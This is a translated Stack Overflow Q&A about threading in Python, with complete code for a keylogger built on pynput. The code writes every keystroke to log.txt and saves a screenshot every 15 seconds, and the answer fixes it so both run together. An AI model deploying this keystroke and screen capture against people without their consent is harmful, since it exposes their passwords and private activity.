我使用 Pynput 编写了一个脚本来捕获击键,一切顺利,直到我想在捕获击键(线程)时每 15 秒截取一次屏幕截图。
我阅读了有关 pynput.keyboard 的文档,发现键盘监听器是一个 threading.Thread,但我无法做到这一点,我想我设法创建了两个线程,但它没有进入“getKey”函数我不知道为什么。
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
listener = keyboard.Listener(onpress=getKey)
listener.start()
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
thread2.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
time.sleep(15)
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
main()
正如我所解释的,它甚至不会创建文件“log.txt”,只会在 15 秒后截取屏幕截图。 谢谢!
最佳答案
官方的监听器的正确使用方法docs
如果您需要每 15 秒捕获一次屏幕截图,您应该运行一个带有 while 循环的线程,以便在后台连续运行
这是代码:
from PIL import ImageGrab
import time
from pynput.keyboard import Key, Listener
from pynput import keyboard
import logging
import os
import threading
def main():
thread2 = threading.Thread(target=takeScreenshot, args=())
thread2.start()
with Listener(on_press=getKey) as listener:
listener.join()
def getKey(key):
print(key)
key = fixKey(key)
file = open('log.txt', 'a')
file.write(key.replace('\'', '') + '')
file.close()
def fixKey(key):
key = str(key)
if key == 'Key.space':
return ' '
elif key == 'Key.enter':
return '\n'
return key
def takeScreenshot():
# run contineous and take screenshot every 15 seconds
while True:
print('taking screenshot')
image = ImageGrab.grab()
now = time.strftime("%d-%m-%Y" + ' ' + "%H-%M-%S")
image.save(now + '.png')
time.sleep(15)
main()
关于python - 如何使 pynput.keyboard 作为线程运行?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/55880569/